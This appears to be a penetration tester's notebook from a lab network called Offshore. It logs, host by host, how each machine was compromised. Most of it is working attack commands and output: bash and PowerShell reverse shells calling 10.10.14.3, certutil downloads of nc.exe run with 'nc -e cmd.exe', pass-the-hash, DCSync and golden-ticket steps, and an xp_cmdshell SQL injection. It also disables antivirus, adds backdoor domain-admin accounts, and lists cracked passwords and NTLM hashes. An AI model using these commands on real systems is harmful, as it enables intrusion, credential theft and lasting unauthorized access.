10.10.110.123

Enumeration

```
nmap -sP 10.10.110.0/24
```

```
nmap -sC -sV -p 22,80,8000,8089,8191 -oA nmap/offshore-fw1-initial 10.10.110.123 Starting
Nmap 7.70 ( https://nmap.org ) at 2018-12-10 04:30 PST
Nmap scan report for 10.10.110.123
Host is up (0.23s latency).

PORT     STATE SERVICE VERSION
22/tcp   open ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ed:da:93:ee:2e:2b:7a:02:4d:97:3d:1b:f2:40:ba:f6 (RSA)
|   256 7e:de:fa:0c:9d:4c:6c:01:7c:0a:0c:f1:74:4d:f3:5f (ECDSA)
|_  256 15:ab:fc:b8:a2:fa:f1:57:d7:3f:bc:ab:ad:d0:cc:99 (ED25519)
80/tcp   open http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: ACME Bank
8000/tcp open http      Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.10.110.123:8000/en-US/account/login?return_to=%2Fen-US%2F
8089/tcp open ssl/http Splunkd httpd (free license; remote login disabled)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-server-header: Splunkd
|_http-title: Site doesn't have a title (text/xml; charset=UTF-8).
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2018-02-02T20:26:16
|_Not valid after: 2021-02-01T20:26:16
8191/tcp open mongodb MongoDB 2.5.1 or later
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.0 200 OK
|     Connection: close
|     Content-Type: text/plain
|     Content-Length: 84
|_    looks like you are trying to access MongoDB over HTTP on the native driver port.
|_mongodb-databases: ERROR: Script execution failed (use -d to debug)
|_mongodb-info: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8191-TCP:V=7.70%I=7%D=12/10%Time=5C0E5C83%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,A8,"HTTP/1\.0\x20200\x20OK\r\nConnection:\x20close\r\nContent
SF:-Type:\x20text/plain\r\nContent-Length:\x2084\r\n\r\nIt\x20looks\x20lik
SF:e\x20you\x20are\x20trying\x20to\x20access\x20MongoDB\x20over\x20HTTP\x2
SF:0on\x20the\x20native\x20driver\x20port\.\n");

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.55 seconds
```

TCP

UDP

Web Services

Nikto

Dirb\DirBuster

WebDav

CMS

Other Services

SMB

SNMP

DB

Other

Exploitation

Service Exploited:
Vulnerability Type:
Exploit POC:
Description:

https://www.n00py.io/2018/10/popping-shells-on-splunk/

Discovery of Vulnerability

splunk

| revshell std 10.10.14.3 4444

Exploit Code Used

https://github.com/TBGSecurity/splunk_shells/archive/1.2.tar.gz use

post/multi/manage/shell_to_meterpreter

Proof\Local.txt File

☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel

Post Exploitation

```
Nmap scan report for 172.16.1.5
Host is up (0.00037s latency).
Nmap scan report for 172.16.1.15
Host is up (0.00046s latency).
Nmap scan report for 172.16.1.23
Host is up (0.000061s latency).
Nmap scan report for 172.16.1.24
Host is up (0.0013s latency).
Nmap scan report for 172.16.1.26
Host is up (0.00082s latency).
Nmap scan report for 172.16.1.30
Host is up (0.00068s latency).
Nmap scan report for 172.16.1.36
Host is up (0.00070s latency).
Nmap scan report for 172.16.1.101
Host is up (0.00044s latency).
Nmap done: 256 IP addresses (8 hosts up) scanned in 2.21 seconds
```

```
autoroute -s 172.16.0.0/24
```

Script Results

Host Information

Operating System

Architecture

Domain

Installed Updates

File System

Writeable Files\Directories

Directory List

Running Processes

Process List

Installed Applications

Installed Applications

Users & Groups

Users

Groups

Network

IPConfig\IFConfig

```
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
```

```
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b0:f6:c9 brd ff:ff:ff:ff:ff:ff
    inet 172.16.1.23/24 brd 172.16.1.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:feb0:f6c9/64 scope link
       valid_lft forever preferred_lft forever
```

Network Processes

ARP

DNS

Route

Scheduled Jobs

Scheduled Tasks

Priv Escalation

Service Exploited:
Vulnerability Type:
Exploit POC:
Description:

Discovery of Vulnerability

```
/usr/local/pgsql/bin/psql
```

```
/usr/local/pgsql/data
```

Exploit Code Used

```
/usr/local/pgsql/bin/psql -U postgres -d postgres -a -f /tmp/mysqlfile.sql
```

```
CREATE TABLE test (line text);
copy test from ‘/var/lib/postgresql/flag.txt’ with delimiter E ‘\t’; select *
from test;
set PAYLOAD cmd/unix/reverse_bash
```

```
PATH="/usr/local/pgsql/bin:$PATH" ./pg_exec.sh -c '/bin/bash -c "0<&97-;exec 97<>/dev/tcp/10.10.14.3/4444;sh <&97 >&97 2>&97"'
```

```
gcc -I$(/usr/local/pgsql/bin/pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c sudo
```

```
/usr/bin/tail -n 100 /root/.ssh/id_rsa
```

```
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.3 LPORT=4444 -f raw msfvenom -f raw -p

python/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 > shell.py
```

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Goodies

sshuttle -v -r 10.10.110.123 172.16.1.0/24 --ssh-cmd 'ssh -i id_rsa'

Hashes

Passwords

Proof\Flags\Other

Software Versions

Software Versions

Potential Exploits

Methodology

Network Scanning

- ☐ nmap -sn 10.11.1.*
- ☐ nmap -sL 10.11.1.*
- ☐ nbtscan -r 10.11.1.0/24
- ☐ smbtree

Individual Host Scanning

- ☐ nmap --top-ports 20 --open -iL iplist.txt
- ☐ nmap -sS -A -sV -O -p- ipaddress
- ☐ nmap -sU ipaddress

Service Scanning

WebApp

- ☐ Nikto
- ☐ dirb
- ☐ dirbuster
- ☐ wpscan
- ☐ dotdotpwn

- ☐ view source
- ☐ davtest\cadevar
- ☐ droopscan
- ☐ joomscan
- ☐ LFI\RFI Test

Linux\Windows

- ☐ snmpwalk -c public -v1 *ipaddress* 1
- ☐ smbclient -L //ipaddress
- ☐ showmount -e ipaddress port
- ☐ rpcinfo
- ☐ Enum4Linux

Anything Else

- ☐ nmap scripts (locate *nse* | grep servicename)
- ☐ hydra
- ☐ MSF Aux Modules
- ☐ Download the softward

Exploitation

- ☐ Gather Version Numbes
- ☐ Searchsploit
- ☐ Default Creds
- ☐ Creds Previously Gathered
- ☐ Download the software

Post Exploitation

Linux

- ☐ linux-local-enum.sh
- ☐ linuxprivchecker.py
- ☐ linux-exploit-suggestor.sh
- ☐ unix-privesc-check.py

Windows

- ☐ wpc.exe
- ☐ windows-exploit-suggestor.py
- ☐ windows_privesc_check.py
- ☐ windows-privesc-check2.exe

Priv Escalation

- ☐ acesss internal services (portfwd)
- ☐ add account

Windows

- ☐ List of exploits

Linux

- ☐ sudo su
- ☐ KernelDB
- ☐ Searchsploit

Final

- ☐ Screenshot of IPConfig\WhoamI
- ☐ Copy proof.txt
- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files

Log Book

172.16.1.5 (dc01)

nmap

```
Host is up (0.0013s latency).
Not shown: 65213 closed ports, 296 filtered ports
PORT      STATE SERVICE
53/tcp      open domain
88/tcp      open   kerberos
135/tcp     open   loc-srv
139/tcp     open   netbios-ssn
389/tcp     open   ldap
445/tcp     open   microsoft-ds
464/tcp     open kpasswd
593/tcp     open unknown
636/tcp     open   ldaps
3268/tcp open unknown
3269/tcp open unknown
3389/tcp open unknown
5985/tcp open unknown
9389/tcp open unknown
47001/tcp open unknown
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
49673/tcp open unknown
49676/tcp open unknown
49691/tcp open unknown
49725/tcp open unknown
MAC Address: 00:50:56:B0:BB:55 (Unknown)
```

exploit

```
net user rootcode password123 /add /domain /y && net group "domain admins" rootcode /add net group

"Enterprise Admins" rootcode /add

Get-DomainForeignGroupMember -Domain dev.ADMIN.OFFSHORE.COM

“sid" | ConvertFrom-SID

corp\svc_devops

lsadump::dcsync /domain:corp.local /user:svc_devops

c718f548c75062ada93250db208d3178 NTLM : Pass123!

enter-pssession -Computer dc02 -credential dev\joe
```

172.16.4.31

nmap

exploit

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:19a58d8b53e0874a108df36c750efe6f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ea9112d4beb759907688c9e267eff246:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
bankvault:3113:aad3b435b51404eeaad3b435b51404ee:4f4a4a1f282b3b51a3d57aecc23ca084:::
sahay:6101:aad3b435b51404eeaad3b435b51404ee:4f4a4a1f282b3b51a3d57aecc23ca084:::
DC03$:1000:aad3b435b51404eeaad3b435b51404ee:a309490aabcffeea561fb1d8b36607d0:::
MS01$:1107:aad3b435b51404eeaad3b435b51404ee:db505645b78f70ae01dd6cebbe4b2b8b:::
WS04$:1108:aad3b435b51404eeaad3b435b51404ee:2abf50d13b5e08b92ac2d90c1d125b99:::
DEV$:3101:aad3b435b51404eeaad3b435b51404ee:9f326173d5165c561d4a29f4ac84f9db:::
CLIENT$:3104:aad3b435b51404eeaad3b435b51404ee:91dee62118ea234f8a5e86abcb550db8:::
```

```
bankvault:Asdf@1234
```

```
responder -wrf --lm -v -I eth0
```

```
[+] Listening for events...
[SMB] NTLMv2 Client      : 10.10.110.3
[SMB] NTLMv2 Username : CLIENT\offshore_adm
[SMB] NTLMv2 Hash        : offshore_adm::CLIENT:
83b8eaf280476050:035888DBB5398BEC17FAA17DAE66AA17:0101000000000000FB3D61C4849ED401D1468680D7CC22F700000
[SMB] NTLMv2 Client      : 10.10.110.3
[SMB] NTLMv2 Username : CLIENT\offshore_adm
[SMB] NTLMv2 Hash        : offshore_adm::CLIENT:084a05c6e3c8c8fb:230B693F1780DF82BC124D96A534E61C:
01010000000000001CEDEDC4849ED4019D16C3678EEA52BD00000000020000000000000000000000
[SMB] NTLMv2 Client      : 10.10.110.3
[SMB] NTLMv2 Username : CLIENT\offshore_adm
[SMB] NTLMv2 Hash        : offshore_adm::CLIENT:0899a8d6252caac9:29114EB7973087AD26A3AE1F9B09BEEE:
010100000000000004847553859ED4010434788C8FFC3EE700000000020000000000000000000000
[SMB] NTLMv2 Client      : 10.10.110.3
[SMB] NTLMv2 Username : CLIENT\offshore_adm
[SMB] NTLMv2 Hash        : offshore_adm::CLIENT:baf1825ab05426ce:57EC2D23F0241122E4897C4BB5730DDF:
01010000000000003CCDFF53859ED401FEDCA1FA312049E100000000020000000000000000000000
```

```
.\hashcat64.exe -m 5600 .\hash.txt .\rockyou.txt
```

```
CLIENT\offshore_adm:Banker!123
```

```
41B52C3A62BDF56DC69CCB0E7C7EBE6C
```

```
Invoke-WMIExec -Target 172.16.4.31 -Domain client.offshore.com -username offshore_adm -Hash
41B52C3A62BDF56DC69CCB0E7C7EBE6C -command 'certutil -split -urlcache -f http://10.10.14.3/nc.exe c:\users\public\nc.exe' -verbose
```

```
Invoke-WMIExec -Target 172.16.4.31 -Domain client.offshore.com -username offshore_adm -Hash
41B52C3A62BDF56DC69CCB0E7C7EBE6C -command 'c:\users\public\nc.exe 10.10.14.3 9004 -e cmd.exe' -verbose
```

172.16.4.5 (dc04)

nmap

exploit

```
Invoke-WMIExec -Target 172.16.4.5 -Domain client.offshore.com -username offshore_adm -Hash 41B52C3A62BDF56DC69CCB0E7C7EBE6C
-command 'certutil -split -urlcache -f http://10.10.14.3/nc.exe c:\users\public\nc.exe' -verbose
```

```
Invoke-WMIExec -Target 172.16.4.5 -Domain client.offshore.com -username offshore_adm -Hash
41B52C3A62BDF56DC69CCB0E7C7EBE6C -command 'c:\users\public\nc.exe 10.10.14.3 9001 -e cmd.exe' -verbose
Get-DomainComputer -Unconstrained -Properties distinguishedname.useraccountcontrol -verbose | ft -a Get-DomainUser

SQLService -Properties distinguishedname.msds-allowedtodelegateto.useraccountcontrol | fl

Get-DomainComputer -TrustedToAuth -Properties distinguishedname.msds-allowedtodelegateto.useraccountcontrol -Verbose | fl

Get-DomainUser -TrustedToAuth -Properties distinguishedname.msds-allowedtodelegateto.useraccountcontrol -Verbose | fl

$env:userdnsdomain

nltest /domain_trusts
```

```
# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx

# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')

# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('Administrator@client.offshore.com')

# actually impersonate the next context
$Context = $Ident.Impersonate()

# implicitly invoke S4U2Proxy with the specified action
ls \\dc04.client.offshore.com\C$

# undo the impersonation context
$Context.Undo()
```

```
.\Rubeus.exe s4u /user:MS02$ /domain:client.offshore.com /rc4:dc7a49c0c36399ae87f3de623ebab985 /
impersonateuser:administrator /msdsspn:cifs/dc04.client.offshore.com /ptt
```

172.16.3.5 (dc03)

nmap

exploit

```
scriptcmd Get-ForestTrust

TopLevelNames            : {CLIENT.OFFSHORE.COM}
ExcludedTopLevelNames    : {}
TrustedDomainInformation : {CLIENT.OFFSHORE.COM}
SourceName               : ADMIN.OFFSHORE.COM
TargetName               : CLIENT.OFFSHORE.COM
TrustType                : Forest
TrustDirection           : Bidirectional
```

```
scriptcmd Get-DomainComputer -Domain CLIENT.OFFSHORE.COM
```

```
ms02.client.offshore.com dc04.client.offshore.com
```

```
scriptcmd Get-NetLocalGroup -computername dc04.client.offshore.com
```

```
ComputerName : dc04.client.offshore.com
GroupName    : CLIENT$$$
Comment      : This group created to enable SIDHistory.
```

```
scriptcmd Get-DomainUser -domain client.offshore.com
```

```
scriptcmd Find-DomainShare -computername ms02.client.offshore.com
```

172.16.2.6 (dc02)

nmap

exploit

```
net user rootcode password123! /add /domain /y && net group "domain admins" rootcode /add
```

```
C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -command { Set-MpPreference -DisableRealtimeMonitoring $true }
```

```
net localgroup
```

```
net localgroup "CORP_admins" rootcode /add
```

```
.\PsGetsid64.exe -accepteula dev.admin.offshore.com
```

```
SID for DEV\dev.admin.offshore.com:
S-1-5-21-1416445593-394318334-2645530166
```

```
.\PsGetSid64.exe admin.offshore.com
```

```
SID for ADMIN\admin.offshore.com:
S-1-5-21-1216317506-3509444512-4230741538
```

```
PS C:\Users\joe\Documents> import-module activedirectory
import-module activedirectory
PS C:\Users\joe\Documents> get-aduser krbtgt
get-aduser krbtgt


DistinguishedName : CN=krbtgt,CN=Users,DC=dev,DC=ADMIN,DC=OFFSHORE,DC=COM
Enabled           : False
GivenName         :
Name              : krbtgt
ObjectClass       : user
ObjectGUID        : 72f120b4-414c-47e9-91a7-3be55b14ac29
SamAccountName    : krbtgt
SID               : S-1-5-21-1416445593-394318334-2645530166-502
Surname           :
UserPrincipalName :
```

```
mimikatz # privilege::debug
Privilege '20' OK
```

```
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : DEV / S-1-5-21-1416445593-394318334-2645530166

NTLM : 9404def404bc198fd9830a3483869e78

mimikatz # kerberos::golden /domain:dev.admin.offshore.com /sid:S-1-5-21-1416445593-394318334-2645530166 / sids:S-1-5-21-1216317506-3509444512-4230741538-519 /rc4:9404def404bc198fd9830a3483869e78 /admin:administrator / ptt
```

172.16.1.15

nmap

```
Enter Target/hostname : 172.16.1.15 windows
Start Port : 1
End Port : 65535
 = Port 135 is open.
 = Port 139 is open.
 = Port 445 is open.
 = Port 1433 is open.
 = Port 3389 is open.
 = Port 5985 is open.
 = Port 47001 is open.
 = Port 49664 is open.
 = Port 49665 is open.
 = Port 49667 is open.
 = Port 49669 is open.
 = Port 49686 is open.
 = Port 49687 is open.
 = Port 49691 is open.
 = Port 49695 is open.
Scanning port 65535
```

exploit

joe@offshore.com

172.16.1.23

nmap

```
Enter Target/hostname : 172.16.1.23 linux
Start Port : 1
End Port : 65535
 = Port 22 is open.
 = Port 80 is open.
 = Port 8000 is open.
 = Port 8089 is open.
 = Port 8191 is open.
Scanning port 65535
```

172.16.1.24

nmap

```
Enter Target/hostname : 172.16.1.24 windows
Start Port : 1
End Port : 65535
 = Port 80 is open.
 = Port 135 is open.
 = Port 139 is open.
 = Port 445 is open.
 = Port 3389 is open.
 = Port 5985 is open.
 = Port 47001 is open.
 = Port 49152 is open.
 = Port 49153 is open.
 = Port 49154 is open.
 = Port 49165 is open.
 = Port 49172 is open.
 = Port 49187 is open.
Scanning port 65535
```

exploit

Network login ned.flanders_adm Lefthandedyeah!

Email ned.flanders@offshore.com Lefty1974!

Bank

https://citibank.com 991103 0419!094Ar

```
proxychains dirb http://172.16.1.24 -u ned.flanders_adm:Lefthandedyeah!
```

```
proxychains smbmap -u ned.flanders_adm -p Lefthandedyeah! -d corp.local -H 172.16.1.24
```

```
SMB         172.16.1.24     445    WEB-WIN01        [*] Windows 6.1 Build 7600 x64 (name:WEB-WIN01) (domain:CORP)
(signing:False) (SMBv1:False)
SMB         172.16.1.24     445    WEB-WIN01        [+] CORP\ned.flanders_adm:Lefthandedyeah!
SMB         172.16.1.24     445    WEB-WIN01        [+] Enumerated shares
SMB         172.16.1.24     445    WEB-WIN01        Share           Permissions   Remark
SMB         172.16.1.24     445    WEB-WIN01        -----           -----------   ------
SMB         172.16.1.24     445    WEB-WIN01        ADMIN$                        Remote Admin
SMB         172.16.1.24     445    WEB-WIN01        C$                            Default share
SMB         172.16.1.24     445    WEB-WIN01        IPC$                          Remote IPC
```

```
proxychains crackmapexec smb 172.16.1.24 -u ned.flanders_adm -p 'Lefthandedyeah!' --exec-method smbexec -x 'whoami' proxychains cme

smb 172.16.1.24 -d 'corp.local' -u 'ned.flanders_adm' -p 'Lefthandedyeah!' -M empire_exec -o LISTENER=http proxychains rpcclient -U

ned.flanders_adm 172.16.1.24 -W corp.local rpcclient $> enumdomusers


user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[justalocaladmin] rid:[0x3e8]

rpcclient $> querydominfo
Domain:                         WEB-WIN01
Server:
```

```
Comment:
Total Users:             3
Total Groups:            1
Total Aliases:           0
Sequence No:             69
Force Logoff:            -1
Domain Server State:             0x1
Server Role:             ROLE_DOMAIN_PDC
Unknown 3:               0x1
rpcclient $> lookupnames administrator
administrator S-1-5-21-159178817-353772227-3380234674-500 (User: 1)
```

```
rundll32.exe \\10.10.14.3\iqJevM\test.dll,0
```

```
' UNION ALL SELECT NULL, NULL, NULL; exec xp_cmdshell "rundll32.exe \\10.10.14.3\rvuhDG\test.dll,0"--
```

svc_iis:Vintage!

http://172.16.1.24/login.aspx

```
attrib -s -h -r /s /d *.*
```

```
c:\users\public\libraries
```

```
PS Z:\> cmd /c "type backup.ps1"
#set server location,credentials
$Server = "\\172.16.4.100"
$FullPath = "$Server\q1\backups"
$username = "pgibbons"
$password = "I l0ve going Fishing!"
```

```
$pass = ConvertTo-SecureString "I l0ve going Fishing!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("CORP\pgibbons", $pass) set-
domainobjectowner -Identity salvador -OwnerIdentity pgibbons -Credential $cred Add-DomainObjectAcl -
TargetIdentity salvador -PrincipalIdentity pgibbons -Credential $cred
$UserPassword = ConvertTo-SecureString 'password123!' -AsPlainText -Force Set-DomainUserPassword -
Identity salvador -AccountPassword $UserPassword -Credential $cred
$cred = New-Object System.Management.Automation.PSCredential('CORP\salvador',$UserPassword) Add-
DomainGroupMember -Identity 'SECURITY ENGINEERS' -Members salvador -Credential $cred
Get-DomainGroupMember -Identity 'security engineers'
```

```
$lwbSid = Get-DomainGroup "Legacy Web Servers" | Select-Object -ExpandProperty objectsid Get-DomainObjectACL

"DC=corp,DC=local" -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $lwbSid}

Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity 'Legacy Web Servers' -Rights DCSYNC -Verbose Add-

DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity cyber_adm -Rights All -Verbose lsadump::dcsync

/domain:corp.local /user:iamtheadministrator Hash NTLM: 15da52f659978026ba6c3b28663ed959
```

```
Invoke-WMIExec -Target 172.16.1.5 -Domain corp.local -username iamtheadministrator -Hash 15da52f659978026ba6c3b28663ed959 -
command 'certutil -split -urlcache -f http://10.10.14.3/nc.exe c:\users\public\nc.exe' - verbose
```

```
Invoke-WMIExec -Target 172.16.1.5 -Domain corp.local -username iamtheadministrator -Hash
15da52f659978026ba6c3b28663ed959 -command 'c:\users\public\nc.exe 10.10.14.3 9001 -e cmd.exe' -verbose
```

172.16.1.26

nmap

```
Enter Target/hostname : 172.16.1.26 windows
Start Port : 1
End Port : 65535
 = Port 135 is open.
 = Port 139 is open.
 = Port 3389 is open.
 = Port 5985 is open.
 = Port 47001 is open.
 = Port 49664 is open.
 = Port 49665 is open.
 = Port 49668 is open.
 = Port 49669 is open.
 = Port 49692 is open.
 = Port 49696 is open.
 = Port 49697 is open.
 = Port 49698 is open.
Scanning port 65535
```

exploit

bill:"I like to map Shares!"

```
cd C:\users && for /F %i in ('dir flag.txt /s /b') do type %i
```

172.16.1.30

nmap

```
Enter Target/hostname : 172.16.1.30 windows
Start Port : 1
End Port : 65535
 = Port 22 is open.
 = Port 80 is open.
 = Port 135 is open.
 = Port 139 is open.
 = Port 445 is open.
 = Port 2000 is open.
 = Port 3389 is open.
 = Port 5985 is open.
 = Port 47001 is open.
 = Port 49664 is open.
 = Port 49665 is open.
 = Port 49667 is open.
 = Port 49675 is open.
 = Port 49686 is open.
 = Port 49691 is open.
 = Port 49692 is open.
 = Port 49693 is open.
 = Port 49719 is open.
 = Port 49734 is open.
 = Port 49789 is open.
 = Port 49790 is open.
Scanning port 65535
```

exploit

username=admin
password=Zaq12wsx!

OFFSHORE{l0v3_cl3artext_pr0toc0l$}

dns name:corp.local

```
cmd /c powershell.exe -ExecutionPolicy RemoteSigned .\${FileName}.ps1 ${DeviceName} ${UserName} ${Password} svchost.exe
```

```
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.3',55555);$stream = $client.GetStream();[byte[]]$bytes =
0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' +
(pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,
0,$sendbyte.Length);$stream.Flush()};$client.Close()
IEX (New-Object Net.Webclient).DownloadString("http://10.10.14.3:8000/PowerView.ps1")
```

```
certutil.exe -urlcache -split -f "http://10.10.14.3:8000/PowerView.ps1" .\powerview.ps1 certutil.exe -

urlcache -split -f "http://10.10.14.3:8000/BloodHound.ps1" .\bloodhound.ps1 certutil -split -urlcache -f

'http://10.10.14.3:8000/lol.ps1' .\lol.ps1 Invoke-Bloodhound -CollectionMethod all
```

172.16.1.36

nmap

```
Enter Target/hostname : 172.16.1.36 windows
Start Port : 1
End Port : 65535
 = Port 135 is open.
 = Port 139 is open.
 = Port 445 is open.
 = Port 3389 is open.
 = Port 5040 is open.
 = Port 5985 is open.
 = Port 47001 is open.
 = Port 49688 is open.
 = Port 49689 is open.
 = Port 49695 is open.
Scanning port 65535
```

exploit

Network login ned.flanders_adm Lefthandedyeah!

Email ned.flanders@offshore.com Lefty1974!

Bank

https://citibank.com 991103 0419!094Ar

```
[+] User SMB session establishd on 172.16.1.36...
[+] IP: 172.16.1.36:445         Name: 172.16.1.36
        Disk                                    Permissions
        ----                                        -----------
        ADMIN$                                      NO ACCESS
        C$                                          NO ACCESS
        IPC$                                        READ ONLY
```

```
proxychains xfreerdp /u:ned.flanders_adm /p:Lefthandedyeah! /v:172.16.1.36:3389 /d:corp.local Invoke-

Bloodhound -CollectionMethod all

Invoke-ServiceUserAdd -ServiceName wnnufqyv -UserName backdoor2 -Password password123 -Verbose

accesschk64.exe -dqv "C:\Users\ned.flanders_adm\AppData\Local\Microsoft\WindowsApps" cacls

"C:\Users\ned.flanders_adm\AppData\Local\Microsoft\WindowsApps"

powershell.exe -exec bypass -Command “& { Import-Module .\Privesc.psd1; Invoke-AllChecks }”
```

```
Privilege     : SeDebugPrivilege
Attributes : SE_PRIVILEGE_ENABLED
TokenHandle : 1948
ProcessId    : 9116
```

```
PS> . .\psgetsys.ps1
PS> [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>) lsass.exe Set-

MpPreference -DisableRealtimeMonitoring $true
```

```
WSADM$ M9f,Dzf*5tM9>'BjGhH`;KETEKLcQ;K&NQg/gGRGSJFs'Np\ah%(OB^aXLjNa[1eB"a>+U^<z`j'Ca"TZV=fm+BBDW&t/?
0Hm)R>)ZkcswFkz:8PQFp*b!>4
domain:Font Driver Host Username:UMFD-1 UMFD-0 UMFD-2
domain:Window Manager Username:DWM-1 DWM-2

669b12a3bac275251170afbe2c5de8c2 NTLM : Workstationadmin1!

wsadmin:Workstationadmin1!
```

172.16.1.101

nmap

```
Enter Target/hostname : 172.16.1.101 windows
Start Port : 1
End Port : 65535
 = Port 135 is open.
 = Port 139 is open.
 = Port 445 is open.
 = Port 3389 is open.
 = Port 5357 is open.
 = Port 5985 is open.
 = Port 47001 is open.
 = Port 49152 is open.
 = Port 49153 is open.
 = Port 49154 is open.
 = Port 49167 is open.
 = Port 49172 is open.
 = Port 49184 is open.
Scanning port 65535
```

exploit

svc_iis:Vintage!